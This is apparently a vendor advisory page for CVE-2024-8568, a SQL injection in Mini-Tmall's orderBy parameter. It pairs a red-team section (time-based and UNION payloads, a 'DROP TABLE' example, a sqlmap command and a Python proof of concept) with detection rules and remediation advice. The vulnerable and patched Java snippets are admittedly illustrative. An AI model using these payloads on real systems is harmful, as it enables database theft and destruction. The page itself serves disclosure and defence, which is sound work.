CVE-2024-8568
Executive Summary
CVE-2024-8568 is a critical SQL injection vulnerability discovered in Mini-Tmall, an open-source e-commerce platform, affecting versions up to the 20240901 snapshot. The flaw resides in the rewardMapper.select function within the file tmall/admin/order/1/1. By manipulating the orderBy argument, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential server takeover. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts, leaving the vulnerability unpatched. Given the critical CVSS score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), immediate mitigation actions are required.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the Mini-Tmall application. Organizations using Mini-Tmall should treat this as a critical supply chain risk, as the vendor has not provided a patch. The application may be distributed via GitHub or other repositories; users should verify the integrity of their deployment and consider forking the project to apply custom fixes.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerability affects only the vulnerable component.
- Confidentiality Impact: High (C:H) – Full database read access.
- Integrity Impact: High (I:H) – Ability to modify or delete data.
- Availability Impact: High (A:H) – Potential for denial of service via SQL manipulation.
Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization using Mini-Tmall.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the orderBy parameter of the rewardMapper.select function. The application likely constructs SQL queries by directly concatenating user input into the ORDER BY clause without proper sanitization or parameterization. For example, the vulnerable code might look like:
String query = "SELECT * FROM rewards ORDER BY " + request.getParameter("orderBy");
An attacker can inject SQL commands by providing a malicious orderBy value, such as:
1; DROP TABLE rewards; --
This would result in the execution of:
SELECT * FROM rewards ORDER BY 1; DROP TABLE rewards; --
The injection occurs in the tmall/admin/order/1/1 endpoint, which is part of the admin panel. However, since no authentication is required (or the endpoint is exposed without proper access controls), an unauthenticated attacker can exploit it.
Vulnerable vs. Patched Code
Vulnerable Code (Java/Spring example):
@GetMapping("/admin/order/1/1")
public List<Reward> getRewards(@RequestParam String orderBy) {
String sql = "SELECT * FROM rewards ORDER BY " + orderBy;
return jdbcTemplate.query(sql, new RewardRowMapper());
}
Patched Code (using parameterized query with whitelist):
@GetMapping("/admin/order/1/1")
public List<Reward> getRewards(@RequestParam String orderBy) {
// Whitelist allowed columns
List<String> allowedColumns = Arrays.asList("id", "name", "points", "created_at");
if (!allowedColumns.contains(orderBy)) {
throw new IllegalArgumentException("Invalid orderBy parameter");
}
String sql = "SELECT * FROM rewards ORDER BY " + orderBy; // Safe due to whitelist
return jdbcTemplate.query(sql, new RewardRowMapper());
}
Alternatively, using a parameterized query with a fixed ORDER BY clause is not possible in standard SQL, so a whitelist approach is the recommended mitigation.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of Mini-Tmall (version up to 20240901).
- Network access to the vulnerable endpoint:
http://target/tmall/admin/order/1/1?orderBy=
Exploitation Steps:
Verify Vulnerability: Send a request with a simple SQL injection payload to cause a delay or error:
curl "http://target/tmall/admin/order/1/1?orderBy=1%20AND%20SLEEP(5)"If the response is delayed by 5 seconds, the vulnerability is confirmed.
Extract Database Information: Use UNION-based injection to retrieve data:
orderBy=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM information_schema.tablesAdjust the number of columns based on the table structure.
Automated Exploitation with sqlmap:
sqlmap -u "http://target/tmall/admin/order/1/1?orderBy=1" --batch --dbs
Proof-of-Concept (PoC) Script (Python):
import requests
target = "http://target/tmall/admin/order/1/1"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
params = {"orderBy": payload}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for unusual
orderByparameters containing SQL keywords (e.g.,UNION,SELECT,SLEEP,--). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns in the
orderByparameter.
Hardening:
- Apply the patched code (whitelist approach) immediately.
- Restrict access to the admin endpoint using network segmentation or authentication.
- Use a database user with minimal privileges (e.g., read-only for the application).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/tmall/admin/order/1/1withorderByparameter containing SQL keywords. - Unusual database queries in database logs (e.g.,
ORDER BY 1 UNION SELECT...).
- HTTP requests to
- File IOCs:
- Modified or new files in the web root (e.g., webshells).
- Unexpected database dump files.
- System IOCs:
- Unusual outbound network connections from the database server.
- High CPU or memory usage due to heavy database queries.
Detection Engineering
YARA Rule
rule CVE_2024_8568_SQLi_OrderBy {
meta:
description = "Detects SQL injection attempts targeting the orderBy parameter in Mini-Tmall"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8568"
strings:
$sqli1 = "orderBy=" nocase
$sqli2 = "UNION" nocase
$sqli3 = "SELECT" nocase
$sqli4 = "SLEEP" nocase
$sqli5 = "DROP" nocase
$sqli6 = "1=1" nocase
condition:
$sqli1 and any of ($sqli2, $sqli3, $sqli4, $sqli5, $sqli6)
}
Sigma Rule
title: CVE-2024-8568 SQL Injection in Mini-Tmall orderBy Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against the orderBy parameter in Mini-Tmall
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/tmall/admin/order/1/1'
cs-uri-query|contains: 'orderBy='
keywords:
- 'UNION'
- 'SELECT'
- 'SLEEP'
- 'DROP'
- '1=1'
condition: selection and keywords
falsepositives:
- Legitimate use of the word 'union' in a column name (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8568 SQL Injection in Mini-Tmall orderBy"; flow:to_server,established; content:"/tmall/admin/order/1/1"; http_uri; content:"orderBy="; http_uri; pcre:"/(UNION|SELECT|SLEEP|DROP|1=1)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: If you are using Mini-Tmall, take the application offline or restrict access to the admin endpoint until a patch is applied.
- Code Fix: Implement a whitelist of allowed column names for the
orderByparameter. Do not rely on blacklisting or escaping. - WAF Rules: Deploy WAF rules to block SQL injection patterns in the
orderByparameter. - Database Hardening: Use a database user with minimal privileges (e.g., only SELECT on necessary tables).
- Monitor: Review logs for any signs of exploitation and rotate any exposed credentials.
- Vendor Contact: Since the vendor did not respond, consider forking the repository and applying the fix yourself, or migrating to an alternative solution.
Valters IT